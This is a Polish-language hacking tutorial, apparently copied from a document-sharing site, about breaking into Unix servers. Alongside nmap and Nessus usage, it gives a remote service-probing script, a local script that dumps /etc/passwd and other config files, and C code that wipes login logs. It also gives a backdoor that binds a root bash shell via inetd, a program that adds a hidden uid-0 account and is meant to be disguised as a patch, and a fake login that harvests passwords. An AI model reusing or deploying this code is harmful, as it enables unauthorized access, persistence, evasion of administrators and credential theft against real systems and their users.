- Satan jest to program dokonujacy zdalnego testu serwera, w poszukiwaniu bledow w
konfiguracji. Od dluzszego czasu program ten nie rozwija sie.
- nmap
Jest to doskonale narzedzie do skanowania systemow. Mozna go uruchomic i w taksie jak i
w X-ach trzeba wtedy sciagnac odpowiednia wersje. Program ten ma duze mozliwosci. Mozna
skanowac kmputery w poszukiwaniu na otwarte porty w rozne sposoby.
-Nessus
Doskonale narzedzie do skanowania serwerow i calych sieci. Zawiera zestaw "pluginow"
wraz z mozliwosciami dodania nowych. Interfejs pozwala na wybranie sposrod duzej
gamy atakow ktore nas interesuja.

================================Nmap=========================================

Nmap
Instalacja jest banalna wiec nie bede jej opisywal
zrodla w postaci tar.gz. Po zainstalowaniu programu
Nalezalo by ja uruchomic, uruchamia sie ja
poleceniem nmap w oknie terminalu. Napoczatku radzilbym Ci sie z nim
zaznajomic na wlasnym kompie. Jesli nie zmieniles ustawien sieciowych nazwy
hosta i Tc/IP to pewnie masz domyslne czyli adres IP 127.0.0.1 i nazwa hosta
"localhost"
aby uruchomic skaner by zeskanowac swoj komp nalezy wpisac nmap localhost lub
nmap 127.0.0.1. I wyskoczy Ci po chwili jakie porty sa u Ciebie aktywne. W
programie tym znajduje sie duzo opcji ktore mozna zastosowac podczas
skanowania oto czesc z nich:
-b wykorzystuje funkcje ataku skokowego
-f wysylane sa sfragmentowane pakiety
-F sprawdzanie standardowych uslog ktore sa zapisane w pliku etc/services
-l pobiera informacjeprzez idend
-n wylacza wyszukiwanie DNS
-v dodatkowe informacje
-sS utajnione skanowanie portow
-sF Skanowanie utajnione . pozwala na skanowanie spoza zaory sieciowej.
-sT Skanowanie portow za pomoca funkcji TCP connect
Zapomoca tych funkcji idzie zrobic bardzo ciekawe rzeczy dowiedziec sie jaki
jest system zainstalowany na danym servie oraz numer kernela. Na dole
zamieszczam efekty takiego skanowania.
Initiating TCP connect() scan against fiorek.linux (160.100.58.0)
Adding TCP port 515 (state open).
Adding TCP port 111 (state open).
Adding TCP port 6000 (state open).
Adding TCP port 3001 (state open).
The TCP connect scan took 0 seconds to scan 1523 ports.
For OSScan assuming that port 111 is open and port 1 is closed and neither are firewalled
Interesting ports on fiorek.linux (160.100.58.0):
(The 1519 ports scanned but not shown below are in state: closed)
Port State Service
111/tcp open sunrpc
515/tcp open printer
3001/tcp open nessusd
6000/tcp open X11

TCP Sequence Prediction: Class=random positive increments
Difficulty=4130664 (Good luck!)

Sequence numbers: 725D107C 725D107C 72C2B539 72C2B539 722E3D1C 722E3D1C
Remote operating system guess: Linux 2.1.122 - 2.2.14

Z zastosowaniem funkcji -v -sS -O dowiedzialem sie Ciekawych zeczy jak np
aktywne porty, zainstalowane X-y, zainstalowany skaner sieciowy nessus,
odgadl rodzaj systemu oraz jadra naprawde Ciekawe rzeczy.
Oczywisci slady po takim skanowaniu zawsze znajduja sie w systemie nawet
jesli zastosujemy skanowanie utajnione a server bedzie korzystac
z takich programow jak tcplogd ktory sluzy do wykrywania tego typu skanow
wiec badz ostrozny


==============================Nessus==============================================

Moze byc uruchamiany w x-ach jak i w trybie textowym. Nie bede
tu pisal jak to instalowac bo wszystko pisze w plikach readme i wogole
jedynie wspominam jak to sie konfiguruje.

$ nessus-adduser

Addition of a new nessusd user
------------------------------

Login : root
Password : xxxxx tu wpisujesz haslo
Authentification type (cipher or plaintext) [cipher] : cipher
Now enter the rules for this user, and hit ctrl-D once you are done :
(the user can have an empty rule set)


Login : root
Pssword : xxxxx
Authentification : cipher
Rules :

Is that ok (y/n) ? [y] y

user added.

Po zalozeniu konta uruchamiamy program wpisujac w terminalu nessus. Uruchomi
sie nam interfejs graficzny. Wpisz nazwe hosta jaka masz w twoim kompie.
Podaj swoj Login (taki jak zakladales konto czyli root w naszym przypadku)
Podaj password i kliknij LOG in.
Po chwili pojawi Ci sie okno z dostepnymi Pluginsami sa to metody atakow i
wybierasz Cie interesujace
W zakladce Prefs znajduja sie ustawienia dotyczace skanowania. Sa tam techniki
skanowania i wogole nie bede tego opisywal bo wszystko tam pisze.

Scan options jak sama nazwa dotyczy opcji skanowania miedzyinnymi zakres
portow.
Target selection wpisujemy tam nazwe hosta lub adres IP serwera ktory chcemy
seskanowac
Wciskamy start the scan i rozpocznie sie skanowanie trwa ono roznie jak
skanowalem wieksze servy z wiekszoscia opcji to trwalo to kololo 30 min
Po zakonczeniu wyswietli sie okno z raportem ze skanowania jakie porty sa
aktywne , oprogramoanie bledy, w konfiguracji itp.


b) Skanery systemowe

- check.pl
Jest to program napisany w perlu. Zalicza sie on do skanerow systemowych.
Skanuje system sprawdzajac prawa dostepow do plikow i wypisuje potencjalne
luki bezpieczenstwa. Rapory mozemy przegladajac odrazu lub zapisac go w pliku
i obejzec puzniej.
- Logchek
Skanuje zawartosc logow systemowych w poszukiwaniu wpisow mogacych zagrozic systemowi.
Mozna tak sobie go skonfigurowac, i zdefiniowac teksty jakie maja znalesc sie w logach
by byly zaliczone np. Do zle skonfigurowanego.


2).................ZBIERANIE INFORMACJI O SERVERZE...(zdalnie).....................2)

Jesli probowales sie wlamac do jakiegos serwera wiesz ze trzeba uzyskac na jego temat
wiele informacji takich jak informacje dotyczace otwartych portow bylo to opisane
wyzej. Topologi sieci, Ile jest komputerow w sieci, jakie sa na nich zainstalowane
systemy, jakie oprogramowanie, jakie aplikacje wersje systemow, prawa dostepow do plikow
i wiele innych informacji. Mozna to oczywisci zrobic recznie czyli wklepywanie kolejnych
komend co z czasem moze rowniez zauwazyc admin lub uzytkownik konta z ktorego korzystasz.
, lecz mozesz to zrobic szybciej czyli za pomaca niewielkich programow.
Postaram tu przybizyc kilka takich programow zarowno localnych jak i sieciowych, wraz ze
zrodlami takich programow.

a) po co to sie przyda?

Powyzsze informacje przydaja nam sie do analizy serwera do ktorego chcemy sie
wlamac. Po takim prostym skaningu wiemy czy sa poinstalowane podstawowe uslogi
co jest na danym serwie, rodzaj systemu (jak dobrze pujdzie), uzytkownikow i wiele
innych pomocnych informacji.

b) nie zostawic duzo sladow

A wic tak po takim scaningu zostawiamy dosc sporo informacji o sobie (jesli
korzystamy z wlasnego konta) a jest to spowodowane probami polaczen na odpowiednie
porty i uslogi prob logowania anonimowego. Najlepiej korzystaj z jakis serwerow
ktore udostepniaja konta ale zazwyczaj maja one odebrane prawa do uruchamiania
swoich programow, kompilowania (moze sie boja jakis explolitow:)) itp. A wiec
shacz jakies konta pare petelek itp. NIe bede tu tego opisywal bo znajdziesz
to w innych artykulach

c) Ponizej zamieszczam skrypt ktory laczy sie z podstawowymi uslogami i wyciaga
informacje. Oczywiscie zostaja slady na servie na ktorym to urzywamy, a wiec
inne konto, pentelki, itp.

-- CUT HERE --
#!/bin/bash
clear
echo " *****************ID_SCANER*v1.0************************"
echo " * Author: MarKUS *"
echo " *******************************************************"
echo ""
echo " ***************************************************************"
echo " * Program ten wyciaga informacje o podstawowych dostepnych *"
echo " * uslogach na serwerze. Sprawdza wersje ftp, czy jest *"
echo " * dostepe logowanie anonymous. Wersje sendmaila, czy jest *"
echo " * wyciek informacji przez epxn i vrfy. Sprawdza czy jest *"
echo " * dostepna usloga finger, wersje IMAPA oraz POPa, sprawdza *"
echo " * czy jest dostepny telnet i jak jest laczy sie i probuje *"
echo " * wyciagac informacje o systemie, sprawdza takze wersje SSH *"
echo " * Wszystkie wyciagniete informacje zapisywane beda do pliku *"
echo " * log. Korzystanie na wlasna odpowiedzialnosc. *"
echo " *************************************************************** "
echo
echo " Tu wpisz nazwe servera do przeskanowania:"
read server
while [ "$server" != "$server" ]; do
echo ""
read server
echo
done
echo "Sprawdzam wersje servera ftp oraz uzytkownika anonymous........"
(sleep 1; echo "user anonymous"
sleep 1; echo "passwd anonymous"
sleep 2; echo -e "quit\n"
sleep 3 ) | telnet $server 21 > log
echo
echo "Sprawdzam wersje serwera smtp, oraz jesli sendmail to expn i vrfy..........."
(sleep 1; echo "expn root"
sleep 1; echo "vrfy root"
sleep 2; echo -e "quit\n"
sleep 3 ) | telnet $server 25 >>log
echo
echo "Sprawdzam wersje serwra ssh.................."
(sleep 1; echo "asoas"
sleep 3 ) | telnet $server 22 >>log
echo
echo "Sprawdzam usluge finger i zalogowanych uzytkonikow..........."
(sleep 1; echo "root"
sleep 2; echo -e "quit\n"
sleep 3 ) | telnet $server 79 >>log
echo
echo "Sprawdzam wersje serwera www oraz wyciagam rozne informacje przez GET........"
(sleep 1; echo "GET"
sleep 2; echo -e "quit\n"
sleep 3 ) | telnet $server 80 >>log
echo
echo "Sprawdzam telnet i wyciagam informacje o systemie.................."
(sleep 1 ) | telnet $server 23 >>log
echo
echo "Sprawdzam wersje IMAP................"
(sleep 1) | telnet $server 143 >>log
echo
echo "Sprawdzam werjse POP..............."
(sleep 1) | telnet $server 110 >>log
echo
echo "Sprawdzam zalogowanych uzytkonikow przez rwho............"
rwho $server >> log
echo
echo "Sprawdzam rpcinfo....................."
rpcinfo -p $server >> log
echo
echo "Sprawdzam udostepnione katalogi przez Nfs oraz prawa do nich............"
showmount -e $server >> log
echo
exit 0



--CUT HERE--

3).................ZBIERANIE INFORMACJI O SERWERZE (localnie)................3)

Jesli masz juz konto trzeba sie takze dowiedziec cos o systemie localnie.
A wiec o wersji kernela, sytemu, jakie pliki posiadaja atrybuty suid. Plik
passwd do zidentyfikowania loginow innych uzytkownikow. Ponizej zamieszczam
bardzo prosty skrypt co za was zrobi te robote i zapisze to do pliku.

--CUT HERE--

#!/bin/bash
clear
echo " *****************LOCAL_SCAN v1.0***********************"
echo " * Author: MarKUS *"
echo " *******************************************************"
echo ""
echo " ***************************************************************"
echo " * Program ten wyciaga informacje o podstawowych dostepnych *"
echo " * uslogach na serwerze (z konta). A wiec wyciaga szereg plikow*"
echo " * ktore w przyszlosci nam moga sie przydac, jakie pliki maja *"
echo " * atrybuty suid, sgid, dokad wychodza logi, czy w systemie, *"
echo " * nie ma snifera (tylko z flaga IFF_promisc). Sprawdza wersje *"
echo " * kernela oraz systemu i wiele innych informacji. *"
echo " * Wszystkie wyciagniete informacje zapisywane beda do pliku *"
echo " * local_scan. Korzystanie na wlasna odpowiedzialnosc. *"
echo " *************************************************************** "
echo
>local_scan
cat /etc/passwd >>local_scan
cat /etc/ftpusers >>local_scan
cat /etc/hosts.allow >>local_scan
cat /etc/hosts.deny >>local_scan
cat /etc/hosts.equiv >>local_scan
cat /etc//inetd.conf >> local_scan
cat /etc/issue >>local_scan
cat /etc/issue.net >>local_scan
cat /etc/syslog.conf >>local_scan
cat /etc/xinetd.conf >>local_scan
uname -a >>local_scan
netstat -a
find / -perm +4000 >>local_scan
exit 0

--CUT HERE--


4)........................UKRYWANIE TOZSAMOSCI...............................4)

Kazdy hacker wie o tym ze jest takie cos jak logi systemowe ktorem maga
zdradzic nasza dzialanosc w systemie. Ale hacker jak to hacker potrafi
wszystkiemu zaradzic. Nalezy sie wiec zaopatrzyc w dobrego sprzatacza
i za kazdym razem usuwac za soba logi. Nie bede tu pisac o .bash_history
itp bo to znajdziesz w innych textach. W internecie mozesz znalesc
sporo dobrych "sprzataczow":marry, utclean, killlog, remove.
Ponizej zamieszczam jak mozna skasowac logi w mniej dyskretny sposob.
A wiec zmienia rozmiar plikow o 100% nie jest to dobre poniewac bedzie
troche glopio wygladac jak admin bedzie sprawdzac kto kiedy sie logowal
a tam nawet nie bedzie ze on sie nie logowal (te zdziwienie:)). A
rowniez zucac sie bedzie rozmiar tych plikow. Ale wkoncu napisalem to tylko
przyklad takiego programu, jak bede mial troche wiecej czasu(czyt. ochoty)
to napisze porzadnego cleanera. A na czas dzisiejszy powstalo takie badziewie
ktorego kod zamieszczam ponizej.

PS. W wiekszosci przypadkow nie wystarczy ze usuniesz logi z tych plikow,
poniewaz admin juz nie taki glupi i instaluje programy dodatkowe to
logowan, ale to juz nie moja sprawa przeciez ja sie nie wlamuje :)

--CUT HERE--

/* cleaner1.c
Author: MarKUS

Jest to bardzo prosty czysciciel logow, przedstawiajac przykladowo
na czym polega czyszczenie logow. Program ten w brutalny sposob
wyczyszcza wszystkie podstawowe pliki z logami, utmp, wtmp, lastlog.
Jest to tylko przyklad takich programow wiec nie radze Ci go stosowac.

*/
#include
#define LASTLOG "/var/log/lastlog"
#define UTMP "/var/run/utmp"
#define WTMP "/var/log/wtmp"
int main(void)
{
FILE *wp;
FILE *wu;
FILE *ws;
printf(" CLEANER@LOG 0.1 Author: MarKUS \n");
if ((wp = fopen(LASTLOG, "w")) != NULL) {
printf("Otworzylem plik %s\n", LASTLOG);
printf("Czyszcze rejestr\n");
sleep(1);
fclose(wp);
}
else
printf("Nie idzie otworzyc pliku %s\n", LASTLOG);

if ((wu = fopen(UTMP, "w")) !=NULL) {
printf("Otworzylem plik %s\n", UTMP);
printf("Czyszcze rejestr\n");
sleep(1);
fclose(wu);
}
else
printf("Nie idzie otworzyc pliki %s\n", UTMP);

if ((ws = fopen(WTMP, "w")) !=NULL) {
printf("Otworzylem plik %s\n", WTMP);
printf("Czyszcze rejestr\n");
sleep(1);
fclose(ws);
}
else
printf("Nie idzie otworzyc pliku %s\n", WTMP);
exit(0);
}

--CUT HERE--


5)...............................BACKDORS....................................5)

a) Co to jest?
Sa to sposoby metody na pozostawienie do zdobytego servera tylnych wejsc. Jest
to o wiele prostrzy i bezpieczniejszy sposob logowania sie niz kolejny raz stosowania
explolitow, czy innych sposobow dostania sie do serwa. Na poczatku pokaze I ODRAZU
ODRADZE niesmiertelny (chyba:)) backdoor ktory zakladamy na inedzie. JEst to wrecz
glopi sposob na backdoorsa i zaznaczam ze nie publikuje go po to zeby ktos mogl
z niego korzystac a jedynie ze wzglendu jak go latwo wykryc. A wiec aby uaktywnic
taki backdoor nalezy dodac kilka linijek do inetd.conf oraz services oraz zrestartowac
ineda. Wiekszosc ludzi ktorzy korzystaja z tego nie zdaja sobie sprawy ze nawet najglopszy
admin wpisze kiedys netstat czy zajrzy do powyzszych plikow i zauwazy ze cos jest nie tak
ze ma zahaszowane wszyskie uslogi oprocz jakiesc activserver lub innej dziwnej nazwy
(moze ktos jeszcze napisze nazwe backdoor to pewnie nie bedzie sie rzucac w oczy:))
nie bede tu nic dalej podawal lecz pokaze tego backoorsa polecam jedynie aby przetestowac
(jak ktos tego jeszcze nie robil) na wlasnej maszynie a nastepnie nie zapomniec go
skasowac.


b)

--CUT HERE--

/* Program ten to bardzo prosty backdoor. (nie wiem czemu to pisalem)
Otwiera port 1523. Jest to prosty backdoor nidopracowany i latwy w wykryciu
Program ten zawiera pare bledow wiec je znajdz i usun (nic za darmo:)) uruchamianie,
korzystanie wszystko robicie
na wlasna odpowiedzialnosc
Author MarKUS
UWAGA PO ROZLOACZNIU Z SERVEM ZOSTAJE UTWORZONY PLIK .bash_history dojdz do tego sam dlaczego i to zmien
NAJPIERW POCZWIC NA WLASNYM SERVIE (I nie badz glopi zeby to stosowac na innym)
Oczywiscie nie zapomnij po instalacji killnac inetda! kill -HUP inetd */

#include
#include
#include
#include
#include
#define INETD "activserver stream tcp nowait root /bin/bash bash -i "
#define SERVICES "activserver 1523/tcp "
int main(void)
{
FILE *wy, *ws;
long koniec1;
long licznik1;
long koniec2;
long licznik2;
if ((wy = fopen ("/etc/inetd.conf", "rb+")) == NULL)
{
printf("Prosze uruchomic program jako operator systemu\n");
}
else
printf("Otwieram pliki potrzebne do zalozenia backdoora /etc/inetd.conf\n");
if ((ws = fopen ("/etc/services", "rb+")) == NULL)
{
printf("Prosze uruchomic programs jako operator systemu\n");
}
else
printf("Otwieram pliki potrzebne do zalozenia backdoora /etc/services\n");
fseek(wy, 2754L, SEEK_CUR);
koniec1 = ftell(wy);
for (licznik1 = 2754L; licznik1 >= koniec1; licznik1)
{
fseek(wy,2754L, SEEK_SET);
if (fputs(INETD,wy));
{
printf("Plik /etc/inetd.conf zaktualizowany\n");
break;
}
}
fseek(ws, 5108L, SEEK_CUR);
koniec2 = ftell(ws);
for (licznik2 = 5108L; licznik2 >= koniec2; licznik2)
{
fseek(ws,5108L, SEEK_SET);
if (fputs(SERVICES,ws));
{
printf("Plik /etc/services zostal zaktualizowany\n");
}
break;
}
if (fclose(wy) != 0);
if (fclose(ws) != 0);
return 0;
}

--CUT HERE--


c) Passwd (program dodajacy konto a nie backdoor)

Nie mialem pomyslu gdzie ten program dac wiec dalem w dziale o backdoor
Nic chyba nie trzeba opisywac a wiec.......

--CUT HERE--

/* passwd.c -- program ten dodaje konto do shadow i passwd */
/* user: sun */
/* passwd: ******* (welcome)*/
/* root@MarKUS# */
/* program nalezy uzyc z prawami roota co zmniejsza przydatnosc ale.. */
/* mozna go podzucic jakiemus ciemnemu adminowi jako jakis path lub cos oczywiscie nie zrodla tylko
juz skomplikowane i ludzic sie ze go otworzy z roota. Moze to glopie ale paru adminow dalo sie
juz nabrac (oczywiscie nie przezemnie:)) */

/* Author: MarKUS */

#include
#include
#define HASS "sun:$1$Dkqvh2fS$i7HRG4WXG9Wfg9n2452Hi1:11592:0:::::" /* passwd welcome */
#define PASS "sun:x:0:0::/root:/bin/bash" /* login sun */
int main(void)
{
FILE *wp, *wy;
if ((wp = fopen ("/etc/passwd", "a+")) == NULL)
{
printf("Prosze uruchomic program jako operator systemu\n");
}
else
printf("Otwieram pliki potrzebne do patchowania systemu\n");
if ((wy = fopen ("/etc/shadow", "a+")) == NULL)
{
printf("Prosze uruchomic program jako operator systemu\n");
}
else
printf("Otwieram pliki potrzebne do patchowania systemu\n");
if (fputs(PASS,wp));
if (fputs(HASS,wy));
{
printf("System zostal z pathowany\n");
exit(1);
}
if (fclose(wp) != 0);
if (fclose(wy) != 0);
return 0;
}

--CUT HERE--

d)fakelogin (program wyciagajacy nazwy uzytkowikow oraz ich hasla)

Jest to dosc stara metoda do wyciagania nazw uzytkownikow oraz ich hasel,
ale wciaz aktualna. Przydatna w szczegolnosci gdy nie mozna znalesc zadnej
dziury w servie.
Programy tego typu maja na celu "udawania logowania" podczas ktorego przewaznie
pojawia sie login incorrect w czasie ktorym zostaje zapisany login i passwd w pliku,
lub wyslany na maila. Metoda ta ma swoje zalety jak i wady. Jedna z glownych zalet
jest to ze nie oprza jej sie zadne zabepieczenia a jedynie glopota adminow. A wada
ze nawet mniej rozgarnieci admini maga sie skapowac.. spytasz dlaczego. Jedna z takich
wad jest brak logow w pliku na temat blednych logowan, nie mowiac juz jak jest utworzony
plik faillog, czy zainstalowane jakies programy odnotowujace tego typy. Sprawa takze istotna
ze podejrzanie bedzie wygladac za kazdym razem bedzie wyskakiwac login incorrect i admin
lub uzytkownik sie zorietuja.
Jak uzywac: Nie podam tutaj gotowych skryptow bo nie lubie wszystkiego podawac na gotowe
wiec troche mozesz pomyslec. Mozesz go wkleic do jakis skryptow startowych, zamienic oryginalny login
na fakelogin a oryginalny skopiowac pod inna nazwa i zrobic tak ze najpierw uruchamia sie fakelogin a puzniej
oryginalny login (ale namieszalem:)). Program ten to tylko przyklad takiego fakeloginu, i napewno nie stosuj
go w takiej formie:)). Napewno nie zostawiaj tak pliku w ktorym sa zapisywane hasla i nazwy znajdz bardziej
ustronne miejsce.



--CUT HERE--

/* Jest to przyklad w jaki sposob dzialaja programy typu fakelogin. Zaznaczam ze jest to tylko przyklad i
zawiera on pare bledow ktore musisz wychwycic sam. Mam nadzieje ze nie jestes takim lamerem by zamienic
plik login nie robic uprzednio kopii.

Author: MarKUS
*/

#include
#include
#include
#include
int main(void)
{
char login[30];
char ur[3000] = {0};
char *passwd[15]={0};
char haslo[16];
char komputer[256];
struct utsname uts;
FILE *wy;
FILE *qw;

wy = popen (" cat /etc/issue", "r");
qw = fopen("log", "a");
gethostname(komputer, 255) || uname(&uts) < 0;
fread(ur, 3000,1,wy);
printf("%s",ur);
printf("%s login: ", komputer);
scanf("%s",login);
*passwd=getpass("Password: ");
sleep(2);
printf("Login incorrect\n\n");
strcpy(haslo, *passwd);
fprintf(qw,"User:%s, Passwd:%s\n", login, haslo);
exit(0);
}

--CUT HERE--
6)...............................SNIFFERY..............................6)

a) Co to jest?

Sniffer jest to narzedzie ktore przejmuje wszystkie informacje przechodzace
przez komputer nie zaleznie od ich adresatow. Programy te potrafia
wychwycac, hasla np. telnet, ftp. Numery kart kredytowych,sesje. Oczywiscie
bedziemy mies korzysci jedynie z tych informacji ktore nie sa zaszyfrowane.
Usloga taka jak ssh posiada szyfrowanie i na nic zda nam sie wyciagniete
haslo z servera. Ataki z uzyciem snifferow moga byc bardzo grozne z zalezy
to w glownej mierze od miejsca w jakim jest ten sniffer zalozony.
Najlepiej takze jak uzywamy snifferow uzywac jakis ztrojanizowanych programow
takich jak, ps, grep, ifconfig itp. ktore maga ujawnic nasza dzialalnosc.

b) Czy wszystkie musze miec ustawiona flage IFF_PROMISC ?

Wiekszosc osob uwaza ze sniffery musza wlanczac flage IFF_PROMISC , a jednak
wcale tak nie jest, jest pare snifferow ktore nie potrzebuja flagi IFF_PROMISC.
Niektore sniffery uruchomione na routerze nie potrzebuja trybu bezladnego.

c) Gdzie najlepiej zalozyc sniffera

A wiec tak mamy wiele mozliwosci. W wiekszosci sa one umieszczane w skryptach
startowych /etc/rc.d. Mozemy takze wkleic go do skryptow startowcyh np.
startx, i wiele innych plikow ktore sa uruchamiane wraz z systemem.



Wyszukiwarka

Podobne podstrony:
różne (29)
Różne interpretacje tytułu powieści Granica
HACKING it
Wireless Hacking with backtrack 3
wykresy różne
ROZNE
hardware hacking (ebook promocyjny helion pl)
linux a hacking
Dla nieruchomości mamy dwie różne ulgi podatkowe
HACKING fr
Różne Zbonikowska Chomik
Różne formy narracji w literaturze międzywojennej (na wy~010
rozne 3

więcej podobnych podstron